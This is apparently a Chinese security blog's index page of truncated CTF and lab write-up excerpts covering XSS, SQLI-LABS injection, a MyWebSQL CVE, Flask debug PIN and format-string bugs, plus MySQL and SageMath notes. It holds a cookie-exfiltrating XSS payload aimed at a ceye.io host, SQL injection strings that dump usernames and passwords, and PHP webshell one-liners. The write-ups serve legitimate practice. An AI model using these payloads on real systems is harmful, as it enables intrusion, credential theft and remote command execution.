XSS 的一些做题记录

xss太菜了,只能记录一下做题,只想到这种办法来提升自己,从现在开始记录 RCTF-2019 jail 进去之后注册登录 url:https://jail.2019.rctf.rois.io/ post message url:https://jail.2019.rctf.rois.io/?action=feedback 向服务器提交message对应的id,然后管理员会查看 https://jail.2019.rctf.rois.io/ 删除所有message https://jail.2019.rctf.rois.io/?action=profile 个人信息界面可以上传图片更换头像 profile界面传php都会被转jpg,而且明显就是xss题目,message界面是不给x的 没思路,看了pakho师傅的wp才知道,先头像上传js,再post message时传入要xss payload,然后将id传给admin访问 并且cookie有两个hint 禁掉了meta的跳转,师傅用了link标签的预加载 https://blog.csdn.net/qq_31481187/article/details/53027208 构造 <link rel=”dns-prefetch” href=”//[cookie].xxx.ceye.io”> payload 2.js function Strtohex(Things){ var str = ”; for (var i = 0; i < Things.length ; i++) { str += Things[i].charCodeAt(0).toString(16); } return str; } Read more…

SQLI-LABS 31-53

less-31 闭合有变化,其他没变 id=0&id=0″)%20union%20select%201,2,3%23 Your Login name:2 Your Password:3 PAYLOAD id=0&id=0″)%20union%20select%201,username,password from users LIMIT 0,1%23 less-32 宽字节注入 网上一搜就有解决方法:%df%27闭合单引号 id=0%df%27union%20select%201,2,3%23 Your Login name:2 Your Password:3 id=0%df%27union%20select%201,group_concat(username),group_concat(password)from users %23 less-33 正则换成了addslashes转义,然而还是可以继续像上一题那样打 less-34 宽字节POST注入 uname=0%df’ union select 1,group_concat(username) from users#&passwd=admin&submit=Submit less-35 没有单引号闭合,check_addslashes没什么用,直接联合查询 id=0 union select 1,group_concat(username),group_concat(password) from users%23 less-36 改用了mysql_real_escape_string函数,但是payload还是没变化 0%df%27union%20select%201,group_concat(username),group_concat(password)%20from%20users%23 less-37 还是mysql_real_escape_string uname=0%df%27 Read more…

DDCTF2019两道WEB题的预期做法

起因: 然后骚扰出题人 MYSQL弱口令 解法:gopher攻击mysql 原题大多数做法是读取.mysql_history获取flag,当这个文件被删除的,就可能需要另外一种做法–gopher攻击mysql,感觉才是预期解法 读取源码 我们利用之前的脚本读取views.py # coding=utf-8 from flask import jsonify, request from struct import unpack from socket import inet_aton import MySQLdb from subprocess import Popen, PIPE import re import os import base64 # flag in mysql curl@localhost database:security table:flag def weak_scan(): agent_port = 8123 result = [] Read more…

*CTF2019-MYWEBSQL WRITEUP

比赛时卡在了执行readflag赛后复现2333 环境还在:http://35.243.82.53:10080/ 首页是MyWebSQL登录界面 猜测用户名弱密码 root root admin admin …… admin admin登录成功 谷歌MyWebSQL CVE 发现了CVE-2019-7731,正好是最近的漏洞,出题人的最爱,点进去看到有一篇分析 有漏洞复现过程: Create a test table (code) and write a shell code in this table. 创建表,写入shell语句 Execute Backup Database function and modify Backup filename as shell.php. 备份数据表,名称改为shell.php 示例语句为 <?php system($_POST[cmd]); ?> Browse (domain)/mywebsql/backups/shell.php?cmd=XXX. Here instance is cmd=ipconfig Read more…

WINDOWS 安装MYSQL 5.7 & 8.0

前言 想安装mysql的高版本看看语句有什么变化,emmm,windows命令不过关,坑了好久 开始 下载ZIP安装包解压 需要管理员cmd进入bin目录 安装mysql服务 mysqld –install 初始化 mysqld –initialize –console data文件夹需要为空 要记住初始密码 …… 2019-04-26T15:16:47.727250Z 1 [Note] A temporary password is generated for root@localhost: 5zMG(Jkp8.M1 启动服务 net start mysql 进入mysql会强制修改密码,否则不允许操作 ALTER USER ‘root’@’localhost’ IDENTIFIED WITH mysql_native_password BY ‘root’; 其他命令 停止服务 net stop mysql 删除服务 sc delete mysql phpstudy更换MYSQL5.7 MYSQL服务要删除 Read more…

SageMath 学习(不断更新)

SageMath 是一个基于GPL协议的开源数学软件。它使用Python作为通用接口,将现有的许多开源软件包整合在一起,构建一个统一的计算平台。记录一下用法 在线使用:https://sagecell.sagemath.org/ 变量定义 var(‘x’) 数学计算 x = var(x) f(x)=(1+5*ln(x))/x print 2*integral(f(x),x,1,e) x = var(‘x’) f(x)=(pow(x,2)-1)/(x-1) lim(f(x),x=1)

DDCTF2019 WRITEUP

前言 滴滴这七天,除了两天周末,然后就是执勤,回来学校都6点多了,没什么时间做题,如果上课真的我就逃课玩了……执勤逃不了,而且很累,但是还是太菜了,有些题大佬们都是秒掉的,我也想拿实习offer!!! 比赛地址:https://ddctf.didichuxing.com/ WEB 滴 curl http://117.51.150.246/index.php -I HTTP/1.1 200 OK Date: Fri, 19 Apr 2019 12:23:14 GMT Server: Apache/2.4.7 (Unix) PHP/5.4.26 X-Powered-By: PHP/5.4.26 Refresh: 0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09 Content-Type: text/html;charset=utf-8 猜测jpg后是base64编码 echo TmpZMlF6WXhOamN5UlRaQk56QTJOdz09|base64 -d | base64 -d 666C61672E6A7067 然后hex解码 py2 -c “print ‘666C61672E6A7067’.decode(‘hex’)” flag.jpg 于是构造读取index.php源码 http://117.51.150.246/index.php?jpg=J05qazJaVFkwTmpVM09ESmxOekEyT0Rjdw== index.php <?php /* * https://blog.csdn.net/FengBanLiuYun/article/details/80616607 * Read more…

PWN 格式化字符串漏洞学习

前言 感谢江师傅带我搞了格式化字符串这类漏洞,感觉基础汇编还不太过关,C语言语法还不过关。第一次写pwn的文章,可能会有很多术语用的不对。 PRINTF 语法: – %d – 十进制 – 输出十进制整数 – %s – 字符串 – 从内存中读取字符串 – %x – 十六进制 – 输出十六进制数 – %c – 字符 – 输出字符 – %p – 指针 – 指针地址 – %n – 到目前为止所写的字符数 例子: 可以参考https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_intro/了解原理,这里不班门弄斧了。 漏洞原理 Demo #include <stdio.h> int main() { while(1){ char s[100]; Read more…

备忘录[置顶]

linux 一些转义 echo “<?php eval(\$_POST[‘tinmin’]);?>” > tinmin.php MYSQL5.7 创建用户 CREATE USER ‘username’@’host’ IDENTIFIED BY ‘password’; 授权 grant all privileges on mq.* to test@localhost identified by ‘PASSWORD’; 删除用户 DROP USER ‘USER’@’host’ python php 易遗忘点 python 判断数据类型取代type isinstance([1,2,3,4],list) #True python 三目运算符 a = 3 if x < 0 else 6 如果x小于零,则a=6,否则还是3 php Read more…

Flask Debug PIN配合文件读取执行python代码

参考文章:https://xz.aliyun.com/t/2553 FLASK DEBUG PIN flask开启DEBUG模式 app.run(debug=True) 通过这个pin码,我们可以在报错页面执行任意python代码 执行命令前提是知道pin码,那么问题就在pin码的生成机制上,同个机器启动多个flask应用,pin码是一样的,直接来看pin码如何生成的 Flask pin生成流程 环境搭建: python 2.7 centos 7 flask 1.0.2 app.py from flask import Flask,request import sys app = Flask(__name__) @app.route(‘/’) def index(): return render_template(‘index.html’) if __name__==’__main__’: app.run(‘0.0.0.0’,8888,debug=True) 运行: python app.py 懒得下pycharm,在windows上开sublimetext跟进,观察DEBUG界面, flask应用一定会运行”/usr/lib64/python2.7/site-packages/flask/app.py” 于是直接看app.py 搜索run函数 跟进werkzeug.serving的run_simple函数 然后继续跟进werkzeug.debug的DebuggedApplication类 在__init__里找到类,跟进_get_pin,跟进get_pin_and_cookie_name,也就是生成PIN码 贴一下脚本 def get_pin_and_cookie_name(app): “””Given an Read more…